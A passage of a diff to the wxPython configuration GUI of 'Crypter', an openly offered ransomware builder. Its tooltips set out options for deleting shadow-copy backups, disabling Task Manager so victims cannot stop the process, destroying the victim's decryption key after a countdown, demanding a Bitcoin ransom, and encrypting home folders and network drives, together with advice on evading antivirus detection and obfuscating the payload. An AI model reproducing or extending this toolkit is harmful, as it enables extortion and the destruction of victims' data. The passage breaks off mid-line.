wx.LI_HORIZONTAL ) bSizer2.Add( self.m_staticline6, 0, wx.EXPAND |wx.ALL, 5 ) - + bSizer31 = wx.BoxSizer( wx.HORIZONTAL ) - + self.m_panel31 = wx.Panel( self.ConfigScrollableWindow, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) LanguageSettingsSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_panel31, wx.ID_ANY, u"Language" ), wx.HORIZONTAL ) - + bSizer202 = wx.BoxSizer( wx.HORIZONTAL ) - + self.BuilderLanguageLabel = wx.StaticText( LanguageSettingsSizer.GetStaticBox(), wx.ID_ANY, u"Builder Language", wx.DefaultPosition, wx.DefaultSize, 0 ) self.BuilderLanguageLabel.Wrap( -1 ) + self.BuilderLanguageLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.BuilderLanguageLabel.SetToolTipString( u"The language of this GUI" ) - + self.BuilderLanguageLabel.SetToolTip( u"The language of this GUI" ) + bSizer202.Add( self.BuilderLanguageLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer202.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer202.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + BuilderLanguageChoiceChoices = [ u"English" ] self.BuilderLanguageChoice = wx.Choice( LanguageSettingsSizer.GetStaticBox(), wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, BuilderLanguageChoiceChoices, 0 ) self.BuilderLanguageChoice.SetSelection( 0 ) - self.BuilderLanguageChoice.SetToolTipString( u"The language of this GUI" ) - + self.BuilderLanguageChoice.SetToolTip( u"The language of this GUI" ) + bSizer202.Add( self.BuilderLanguageChoice, 0, wx.ALL, 5 ) - - + + LanguageSettingsSizer.Add( bSizer202, 1, 0, 5 ) - - + + self.m_panel31.SetSizer( LanguageSettingsSizer ) self.m_panel31.Layout() LanguageSettingsSizer.Fit( self.m_panel31 ) bSizer31.Add( self.m_panel31, 1, wx.ALL, 5 ) - + self.m_panel311 = wx.Panel( self.ConfigScrollableWindow, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) DebugSettingsSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_panel311, wx.ID_ANY, u"Debug" ), wx.HORIZONTAL ) - + bSizer2021 = wx.BoxSizer( wx.HORIZONTAL ) - + self.DebugLevelLabel = wx.StaticText( DebugSettingsSizer.GetStaticBox(), wx.ID_ANY, u"Debug Level", wx.DefaultPosition, wx.DefaultSize, 0 ) self.DebugLevelLabel.Wrap( -1 ) + self.DebugLevelLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.DebugLevelLabel.SetToolTipString( u"The debug level of the build process. Select a higher level to increase the verbosity of the build output shown in the console box below" ) - + self.DebugLevelLabel.SetToolTip( u"The debug level of the build process. Select a higher level to increase the verbosity of the build output shown in the console box below" ) + bSizer2021.Add( self.DebugLevelLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer2021.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer2021.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + DebugLevelChoiceChoices = [ u"0 - Minimal", u"1 - Low", u"2 - Medium", u"3 - High" ] self.DebugLevelChoice = wx.Choice( DebugSettingsSizer.GetStaticBox(), wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, DebugLevelChoiceChoices, 0 ) self.DebugLevelChoice.SetSelection( 3 ) - self.DebugLevelChoice.SetToolTipString( u"The debug level of the build process. Select a higher level to increase the verbosity of the build output shown in the console box below" ) - + self.DebugLevelChoice.SetToolTip( u"The debug level of the build process. Select a higher level to increase the verbosity of the build output shown in the console box below" ) + bSizer2021.Add( self.DebugLevelChoice, 0, wx.ALL, 5 ) - - + + DebugSettingsSizer.Add( bSizer2021, 1, 0, 5 ) - - + + self.m_panel311.SetSizer( DebugSettingsSizer ) self.m_panel311.Layout() DebugSettingsSizer.Fit( self.m_panel311 ) bSizer31.Add( self.m_panel311, 1, wx.ALL, 5 ) - - + + bSizer2.Add( bSizer31, 0, wx.EXPAND, 5 ) - + bSizer12 = wx.BoxSizer( wx.VERTICAL ) - + self.m_panel41 = wx.Panel( self.ConfigScrollableWindow, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) - self.m_panel41.SetToolTipString( u"The path to the UPX Packer directory. If left blank, UPX will not be utilised and the executable will not be packed.\n\nIt is recommended that UPX is used as this can reduce the Crypter executable size by several Megabytes." ) - + self.m_panel41.SetToolTip( u"The path to the UPX Packer directory. If left blank, UPX will not be utilised and the executable will not be packed.\n\nIt is recommended that UPX is used as this can reduce the Crypter executable size by several Megabytes." ) + BinarySettingsSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_panel41, wx.ID_ANY, u"Binary Settings" ), wx.VERTICAL ) - + bSizer391 = wx.BoxSizer( wx.VERTICAL ) - + bSizer41111 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer20321211 = wx.BoxSizer( wx.HORIZONTAL ) - + self.PyinstallerAesKeyLabel = wx.StaticText( BinarySettingsSizer.GetStaticBox(), wx.ID_ANY, u"Pyinstaller AES Key", wx.DefaultPosition, wx.DefaultSize, 0 ) self.PyinstallerAesKeyLabel.Wrap( -1 ) + self.PyinstallerAesKeyLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.PyinstallerAesKeyLabel.SetToolTipString( u"The AES key used by Pyinstaller to encrypt the ransomware script files. This field is optional, but provides Crypter with a layer of obfuscation by making it more difficult to reverse engineer. Leave this field blank if you don't want to use this functionality" ) - + self.PyinstallerAesKeyLabel.SetToolTip( u"The AES key used by Pyinstaller to encrypt the ransomware script files. This field is optional, but provides Crypter with a layer of obfuscation by making it more difficult to reverse engineer. Leave this field blank if you don't want to use this functionality" ) + bSizer20321211.Add( self.PyinstallerAesKeyLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer20321211.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer20321211.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.PyInstallerAesKeyTextCtrl = wx.TextCtrl( BinarySettingsSizer.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.PyInstallerAesKeyTextCtrl.SetToolTipString( u"The AES key used by Pyinstaller to encrypt the ransomware script files. This field is optional, but provides Crypter with a layer of obfuscation by making it more difficult to reverse engineer. Leave this field blank if you don't want to use this functionality" ) - + self.PyInstallerAesKeyTextCtrl.SetToolTip( u"The AES key used by Pyinstaller to encrypt the ransomware script files. This field is optional, but provides Crypter with a layer of obfuscation by making it more difficult to reverse engineer. Leave this field blank if you don't want to use this functionality" ) + bSizer20321211.Add( self.PyInstallerAesKeyTextCtrl, 0, wx.ALL, 5 ) - - + + bSizer41111.Add( bSizer20321211, 1, wx.EXPAND, 5 ) - + bSizer203211111 = wx.BoxSizer( wx.HORIZONTAL ) - + self.IconLabel = wx.StaticText( BinarySettingsSizer.GetStaticBox(), wx.ID_ANY, u"File Icon", wx.DefaultPosition, wx.DefaultSize, 0 ) self.IconLabel.Wrap( -1 ) + self.IconLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.IconLabel.SetToolTipString( u"The icon (.ico) file to use for the Crypter executable. If left blank PyInstaller will use its own icon.\n\nWarning: choosing an non standard EXE icon, such as a PDF logo, may drastically increase the rate of detection" ) - + self.IconLabel.SetToolTip( u"The icon (.ico) file to use for the Crypter executable. If left blank PyInstaller will use its own icon.\n\nWarning: choosing an non standard EXE icon, such as a PDF logo, may drastically increase the rate of detection" ) + bSizer203211111.Add( self.IconLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer203211111.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer203211111.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.IconFilePicker = wx.FilePickerCtrl( BinarySettingsSizer.GetStaticBox(), wx.ID_ANY, wx.EmptyString, u"Select a file", u"*.ico", wx.DefaultPosition, wx.DefaultSize, wx.FLP_DEFAULT_STYLE|wx.FLP_FILE_MUST_EXIST|wx.FLP_SMALL ) - self.IconFilePicker.SetToolTipString( u"The icon (.ico) file to use for the Crypter executable. If left blank PyInstaller will use its own icon.\n\nWarning: choosing an non standard EXE icon, such as a PDF logo, may drastically increase the rate of detection" ) - + self.IconFilePicker.SetToolTip( u"The icon (.ico) file to use for the Crypter executable. If left blank PyInstaller will use its own icon.\n\nWarning: choosing an non standard EXE icon, such as a PDF logo, may drastically increase the rate of detection" ) + bSizer203211111.Add( self.IconFilePicker, 0, wx.ALL, 5 ) - - + + bSizer41111.Add( bSizer203211111, 1, wx.EXPAND, 5 ) - - + + bSizer391.Add( bSizer41111, 1, wx.EXPAND, 5 ) - + bSizer411111 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer2032111111 = wx.BoxSizer( wx.HORIZONTAL ) - + self.UpxDirLabel = wx.StaticText( BinarySettingsSizer.GetStaticBox(), wx.ID_ANY, u"UPX Packer Directory", wx.DefaultPosition, wx.DefaultSize, 0 ) self.UpxDirLabel.Wrap( -1 ) + self.UpxDirLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.UpxDirLabel.SetToolTipString( u"The path to the UPX Packer directory. If left blank, UPX will not be utilised and the executable will not be packed.\n\nIt is recommended that UPX is used as this can reduce the Crypter executable size by several Megabytes" ) - + self.UpxDirLabel.SetToolTip( u"The path to the UPX Packer directory. If left blank, UPX will not be utilised and the executable will not be packed.\n\nIt is recommended that UPX is used as this can reduce the Crypter executable size by several Megabytes" ) + bSizer2032111111.Add( self.UpxDirLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer2032111111.AddSpacer( ( 0, 0), 1, wx.ALIGN_LEFT|wx.EXPAND, 5 ) - + + + bSizer2032111111.Add( ( 0, 0), 1, wx.ALIGN_LEFT|wx.EXPAND, 5 ) + self.UpxDirPicker = wx.DirPickerCtrl( BinarySettingsSizer.GetStaticBox(), wx.ID_ANY, wx.EmptyString, u"Select UPX Directory", wx.DefaultPosition, wx.DefaultSize, wx.DIRP_DEFAULT_STYLE|wx.DIRP_SMALL ) - self.UpxDirPicker.SetToolTipString( u"The path to the UPX Packer directory. If left blank, UPX will not be utilised and the executable will not be packed.\n\nIt is recommended that UPX is used as this can reduce the Crypter executable size by several Megabytes" ) - + self.UpxDirPicker.SetToolTip( u"The path to the UPX Packer directory. If left blank, UPX will not be utilised and the executable will not be packed.\n\nIt is recommended that UPX is used as this can reduce the Crypter executable size by several Megabytes" ) + bSizer2032111111.Add( self.UpxDirPicker, 0, wx.ALL, 5 ) - - + + bSizer411111.Add( bSizer2032111111, 1, wx.EXPAND, 5 ) - + bSizer2032111112 = wx.BoxSizer( wx.HORIZONTAL ) - - - bSizer2032111112.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - - + + + bSizer2032111112.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + + bSizer411111.Add( bSizer2032111112, 1, wx.EXPAND, 5 ) - - + + bSizer391.Add( bSizer411111, 1, wx.EXPAND, 5 ) - - + + BinarySettingsSizer.Add( bSizer391, 0, wx.EXPAND, 5 ) - - + + self.m_panel41.SetSizer( BinarySettingsSizer ) self.m_panel41.Layout() BinarySettingsSizer.Fit( self.m_panel41 ) bSizer12.Add( self.m_panel41, 0, wx.ALL|wx.EXPAND, 5 ) - + self.m_panel4 = wx.Panel( self.ConfigScrollableWindow, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) RansomwareSettingsSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_panel4, wx.ID_ANY, u"Ransomware Settings" ), wx.VERTICAL ) - + bSizer39 = wx.BoxSizer( wx.VERTICAL ) - + sbSizer13 = wx.StaticBoxSizer( wx.StaticBox( RansomwareSettingsSizer.GetStaticBox(), wx.ID_ANY, u"General" ), wx.VERTICAL ) - + bSizer59 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer60 = wx.BoxSizer( wx.HORIZONTAL ) - + self.OpenGuiOnLoginLabel = wx.StaticText( sbSizer13.GetStaticBox(), wx.ID_ANY, u"Open GUI on Login", wx.DefaultPosition, wx.DefaultSize, 0 ) self.OpenGuiOnLoginLabel.Wrap( -1 ) - self.OpenGuiOnLoginLabel.SetToolTipString( u"If ticked, the GUI will be launched each time the user logs in.\n\nWarning: Enabling this option may significantly increase the rate of Anti-Virus detection" ) - + + self.OpenGuiOnLoginLabel.SetToolTip( u"If ticked, the GUI will be launched each time the user logs in.\n\nWarning: Enabling this option may significantly increase the rate of Anti-Virus detection" ) + bSizer60.Add( self.OpenGuiOnLoginLabel, 0, wx.ALL, 5 ) - - - bSizer60.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer60.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.OpenGuiOnLoginCheckbox = wx.CheckBox( sbSizer13.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.OpenGuiOnLoginCheckbox.SetValue(True) - self.OpenGuiOnLoginCheckbox.SetToolTipString( u"If ticked, the GUI will be launched each time the user logs in.\n\nWarning: Enabling this option may significantly increase the rate of Anti-Virus detection" ) - + self.OpenGuiOnLoginCheckbox.SetValue(True) + self.OpenGuiOnLoginCheckbox.SetToolTip( u"If ticked, the GUI will be launched each time the user logs in.\n\nWarning: Enabling this option may significantly increase the rate of Anti-Virus detection" ) + bSizer60.Add( self.OpenGuiOnLoginCheckbox, 0, wx.ALL, 5 ) - - + + bSizer59.Add( bSizer60, 1, wx.EXPAND, 5 ) - + bSizer61 = wx.BoxSizer( wx.HORIZONTAL ) - - - bSizer61.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - - + + + bSizer61.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + + bSizer59.Add( bSizer61, 1, wx.EXPAND, 5 ) - - + + sbSizer13.Add( bSizer59, 1, wx.EXPAND, 5 ) - + bSizer411 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer2032131 = wx.BoxSizer( wx.HORIZONTAL ) - + self.DeleteShadowCopiesLabel = wx.StaticText( sbSizer13.GetStaticBox(), wx.ID_ANY, u"Delete Shadow Copies", wx.DefaultPosition, wx.DefaultSize, 0 ) self.DeleteShadowCopiesLabel.Wrap( -1 ) - self.DeleteShadowCopiesLabel.SetToolTipString( u"If ticked, all shadow copy files on the system will be deleted. These shadows are backup copies of the machine's files and can be used to gain access to the encrypted data without the decryption key.\n\nWarning: This operation will fail silently if the user does not have sufficient privileges" ) - + + self.DeleteShadowCopiesLabel.SetToolTip( u"If ticked, all shadow copy files on the system will be deleted. These shadows are backup copies of the machine's files and can be used to gain access to the encrypted data without the decryption key.\n\nWarning: This operation will fail silently if the user does not have sufficient privileges" ) + bSizer2032131.Add( self.DeleteShadowCopiesLabel, 0, wx.ALL, 5 ) - - - bSizer2032131.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer2032131.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.DeleteShadowCopiesCheckbox = wx.CheckBox( sbSizer13.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.DeleteShadowCopiesCheckbox.SetValue(True) - self.DeleteShadowCopiesCheckbox.SetToolTipString( u"If ticked, all shadow copy files on the system will be deleted. These shadows are backup copies of the machine's files and can be used to gain access to the encrypted data without the decryption key.\n\nWarning: This operation will fail silently if the user does not have sufficient privileges" ) - + self.DeleteShadowCopiesCheckbox.SetValue(True) + self.DeleteShadowCopiesCheckbox.SetToolTip( u"If ticked, all shadow copy files on the system will be deleted. These shadows are backup copies of the machine's files and can be used to gain access to the encrypted data without the decryption key.\n\nWarning: This operation will fail silently if the user does not have sufficient privileges" ) + bSizer2032131.Add( self.DeleteShadowCopiesCheckbox, 0, wx.ALL, 5 ) - - + + bSizer411.Add( bSizer2032131, 1, wx.EXPAND, 5 ) - + bSizer20321112 = wx.BoxSizer( wx.HORIZONTAL ) - + self.DisableTaskManagerLabel = wx.StaticText( sbSizer13.GetStaticBox(), wx.ID_ANY, u"Disable Task Manager", wx.DefaultPosition, wx.DefaultSize, 0 ) self.DisableTaskManagerLabel.Wrap( -1 ) - self.DisableTaskManagerLabel.SetToolTipString( u"If ticked, Windows Task Manager will be disabled when Crypter is opened.\n\nWarning: Whilst enabling this option helps prevent users from killing the executable, it can greatly increase the rate of Anti-Virus detection" ) - + + self.DisableTaskManagerLabel.SetToolTip( u"If ticked, Windows Task Manager will be disabled when Crypter is opened.\n\nWarning: Whilst enabling this option helps prevent users from killing the executable, it can greatly increase the rate of Anti-Virus detection" ) + bSizer20321112.Add( self.DisableTaskManagerLabel, 0, wx.ALL, 5 ) - - - bSizer20321112.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer20321112.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.DisableTaskManagerCheckbox = wx.CheckBox( sbSizer13.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.DisableTaskManagerCheckbox.SetToolTipString( u"If ticked, Windows Task Manager will be disabled when Crypter is opened.\n\nWarning: Whilst enabling this option helps prevent users from killing the executable, it can greatly increase the rate of Anti-Virus detection" ) - + self.DisableTaskManagerCheckbox.SetToolTip( u"If ticked, Windows Task Manager will be disabled when Crypter is opened.\n\nWarning: Whilst enabling this option helps prevent users from killing the executable, it can greatly increase the rate of Anti-Virus detection" ) + bSizer20321112.Add( self.DisableTaskManagerCheckbox, 0, wx.ALL, 5 ) - - + + bSizer411.Add( bSizer20321112, 1, wx.EXPAND, 5 ) - - + + sbSizer13.Add( bSizer411, 1, wx.EXPAND, 5 ) - + bSizer4112 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer20321311 = wx.BoxSizer( wx.HORIZONTAL ) - + self.GuiTitleLabel = wx.StaticText( sbSizer13.GetStaticBox(), wx.ID_ANY, u"GUI Title", wx.DefaultPosition, wx.DefaultSize, 0 ) self.GuiTitleLabel.Wrap( -1 ) - self.GuiTitleLabel.SetToolTipString( u"The title to display in the GUI. Defaults to \"CRYPTER\".\n\nNote: This field is limited to a maximum of 20 characters to prevent window stretching" ) - + + self.GuiTitleLabel.SetToolTip( u"The title to display in the GUI. Defaults to \"CRYPTER\".\n\nNote: This field is limited to a maximum of 20 characters to prevent window stretching" ) + bSizer20321311.Add( self.GuiTitleLabel, 0, wx.ALL, 5 ) - - - bSizer20321311.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer20321311.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.GuiTitleTextCtrl = wx.TextCtrl( sbSizer13.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.GuiTitleTextCtrl.SetMaxLength( 20 ) - self.GuiTitleTextCtrl.SetToolTipString( u"The title to display in the GUI. Defaults to \"CRYPTER\".\n\nNote: This field is limited to a maximum of 20 characters to prevent window stretching" ) - + self.GuiTitleTextCtrl.SetMaxLength( 20 ) + self.GuiTitleTextCtrl.SetToolTip( u"The title to display in the GUI. Defaults to \"CRYPTER\".\n\nNote: This field is limited to a maximum of 20 characters to prevent window stretching" ) + bSizer20321311.Add( self.GuiTitleTextCtrl, 0, wx.ALL, 5 ) - - + + bSizer4112.Add( bSizer20321311, 1, wx.EXPAND, 5 ) - + bSizer203211121 = wx.BoxSizer( wx.HORIZONTAL ) - + self.KeyDestructionTimeLabel = wx.StaticText( sbSizer13.GetStaticBox(), wx.ID_ANY, u"Key Destruction Time (s)", wx.DefaultPosition, wx.DefaultSize, 0 ) self.KeyDestructionTimeLabel.Wrap( -1 ) + self.KeyDestructionTimeLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.KeyDestructionTimeLabel.SetToolTipString( u"The time in seconds before the victim's decryption key is destroyed. Once the time runs out, the victim will no longer be able to decrypt their files. Defaults to 259200 (72 hours)" ) - + self.KeyDestructionTimeLabel.SetToolTip( u"The time in seconds before the victim's decryption key is destroyed. Once the time runs out, the victim will no longer be able to decrypt their files. Defaults to 259200 (72 hours)" ) + bSizer203211121.Add( self.KeyDestructionTimeLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer203211121.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer203211121.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.KeyDestructionTimeTextCtrl = wx.TextCtrl( sbSizer13.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) self.KeyDestructionTimeTextCtrl.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_WINDOWTEXT ) ) - self.KeyDestructionTimeTextCtrl.SetToolTipString( u"The time in seconds before the victim's decryption key is destroyed. Once the time runs out, the victim will no longer be able to decrypt their files. Defaults to 259200 (72 hours)" ) - + self.KeyDestructionTimeTextCtrl.SetToolTip( u"The time in seconds before the victim's decryption key is destroyed. Once the time runs out, the victim will no longer be able to decrypt their files. Defaults to 259200 (72 hours)" ) + bSizer203211121.Add( self.KeyDestructionTimeTextCtrl, 0, wx.ALL, 5 ) - - + + bSizer4112.Add( bSizer203211121, 1, wx.EXPAND, 5 ) - - + + sbSizer13.Add( bSizer4112, 1, wx.EXPAND, 5 ) - + bSizer412 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer2032112 = wx.BoxSizer( wx.HORIZONTAL ) - + self.WalletAddressLabel = wx.StaticText( sbSizer13.GetStaticBox(), wx.ID_ANY, u"Wallet Address", wx.DefaultPosition, wx.DefaultSize, 0 ) self.WalletAddressLabel.Wrap( -1 ) + self.WalletAddressLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.WalletAddressLabel.SetToolTipString( u"The Bitcoin wallet address that the victim should pay the ransom to. This will be displayed in the Crypter GUI. Defaults to the bitcoin wallet of Crypter's author ;-)" ) - + self.WalletAddressLabel.SetToolTip( u"The Bitcoin wallet address that the victim should pay the ransom to. This will be displayed in the Crypter GUI. Defaults to the bitcoin wallet of Crypter's author ;-)" ) + bSizer2032112.Add( self.WalletAddressLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer2032112.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer2032112.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.WalletAddressTextCtrl = wx.TextCtrl( sbSizer13.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.WalletAddressTextCtrl.SetToolTipString( u"The Bitcoin wallet address that the victim should pay the ransom to. This will be displayed in the Crypter GUI. Defaults to the bitcoin wallet of Crypter's author ;-)" ) - + self.WalletAddressTextCtrl.SetToolTip( u"The Bitcoin wallet address that the victim should pay the ransom to. This will be displayed in the Crypter GUI. Defaults to the bitcoin wallet of Crypter's author ;-)" ) + bSizer2032112.Add( self.WalletAddressTextCtrl, 0, wx.ALL, 5 ) - - + + bSizer412.Add( bSizer2032112, 1, wx.EXPAND, 5 ) - + bSizer203212 = wx.BoxSizer( wx.HORIZONTAL ) - + self.BitcoinFeeLabel = wx.StaticText( sbSizer13.GetStaticBox(), wx.ID_ANY, u"Bitcoin Fee", wx.DefaultPosition, wx.DefaultSize, 0 ) self.BitcoinFeeLabel.Wrap( -1 ) + self.BitcoinFeeLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.BitcoinFeeLabel.SetToolTipString( u"The Bitcoin Fee that you want to victim to pay. This amount will be shown in the GUI. Defaults to 1.0" ) - + self.BitcoinFeeLabel.SetToolTip( u"The Bitcoin Fee that you want to victim to pay. This amount will be shown in the GUI. Defaults to 1.0" ) + bSizer203212.Add( self.BitcoinFeeLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer203212.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer203212.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.BitcoinFeeTextCtrl = wx.TextCtrl( sbSizer13.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.BitcoinFeeTextCtrl.SetToolTipString( u"The Bitcoin Fee that you want to victim to pay. This amount will be shown in the GUI. Defaults to 1.0" ) - + self.BitcoinFeeTextCtrl.SetToolTip( u"The Bitcoin Fee that you want to victim to pay. This amount will be shown in the GUI. Defaults to 1.0" ) + bSizer203212.Add( self.BitcoinFeeTextCtrl, 0, wx.ALL, 5 ) - - + + bSizer412.Add( bSizer203212, 1, wx.EXPAND, 5 ) - - + + sbSizer13.Add( bSizer412, 1, wx.EXPAND, 5 ) - - + + bSizer39.Add( sbSizer13, 0, wx.EXPAND, 1 ) - + sbSizer11 = wx.StaticBoxSizer( wx.StaticBox( RansomwareSettingsSizer.GetStaticBox(), wx.ID_ANY, u"Encryption" ), wx.VERTICAL ) - + bSizer4122 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer2032133 = wx.BoxSizer( wx.HORIZONTAL ) - + self.EncryptAttachedDrivesLabel = wx.StaticText( sbSizer11.GetStaticBox(), wx.ID_ANY, u"Encrypt Attached Drives", wx.DefaultPosition, wx.DefaultSize, 0 ) self.EncryptAttachedDrivesLabel.Wrap( -1 ) - self.EncryptAttachedDrivesLabel.SetToolTipString( u"If ticked, all drives attached to the machine will be encrypted. This includes mapped network drives, as well as external and internal hard disks, but excludes C:" ) - + + self.EncryptAttachedDrivesLabel.SetToolTip( u"If ticked, all drives attached to the machine will be encrypted. This includes mapped network drives, as well as external and internal hard disks, but excludes C:" ) + bSizer2032133.Add( self.EncryptAttachedDrivesLabel, 0, wx.ALL, 7 ) - - - bSizer2032133.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer2032133.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.EncryptAttachedDrivesCheckbox = wx.CheckBox( sbSizer11.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.EncryptAttachedDrivesCheckbox.SetValue(True) - self.EncryptAttachedDrivesCheckbox.SetToolTipString( u"If ticked, all drives attached to the machine will be encrypted. This includes mapped network drives, as well as external and internal hard disks, but excludes C:" ) - + self.EncryptAttachedDrivesCheckbox.SetValue(True) + self.EncryptAttachedDrivesCheckbox.SetToolTip( u"If ticked, all drives attached to the machine will be encrypted. This includes mapped network drives, as well as external and internal hard disks, but excludes C:" ) + bSizer2032133.Add( self.EncryptAttachedDrivesCheckbox, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - - + + bSizer4122.Add( bSizer2032133, 2, wx.EXPAND, 5 ) - + bSizer20321312 = wx.BoxSizer( wx.HORIZONTAL ) - + self.EncryptUserHomeLabel = wx.StaticText( sbSizer11.GetStaticBox(), wx.ID_ANY, u"Encrypt User Home", wx.DefaultPosition, wx.DefaultSize, 0 ) self.EncryptUserHomeLabel.Wrap( -1 ) - self.EncryptUserHomeLabel.SetToolTipString( u"If ticked, all files and folders in the victim's home directory (such as Downloads, Documents and Pictures) will be encrypted" ) - + + self.EncryptUserHomeLabel.SetToolTip( u"If ticked, all files and folders in the victim's home directory (such as Downloads, Documents and Pictures) will be encrypted" ) + bSizer20321312.Add( self.EncryptUserHomeLabel, 0, wx.ALL, 7 ) - - - bSizer20321312.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer20321312.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.EncryptUserHomeCheckbox = wx.CheckBox( sbSizer11.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.EncryptUserHomeCheckbox.SetValue(True) - self.EncryptUserHomeCheckbox.SetToolTipString( u"If ticked, all files and folders in the victim's home directory (such as Downloads, Documents and Pictures) will be encrypted" ) - + self.EncryptUserHomeCheckbox.SetValue(True) + self.EncryptUserHomeCheckbox.SetToolTip( u"If ticked, all files and folders in the victim's home directory (such as Downloads, Documents and Pictures) will be encrypted" ) + bSizer20321312.Add( self.EncryptUserHomeCheckbox, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - - + + bSizer4122.Add( bSizer20321312, 2, wx.EXPAND, 5 ) - - + + sbSizer11.Add( bSizer4122, 1, wx.ALIGN_CENTER_VERTICAL|wx.EXPAND, 5 ) - + bSizer4111 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer2032121 = wx.BoxSizer( wx.HORIZONTAL ) - + self.MaxFileSizeLabel = wx.StaticText( 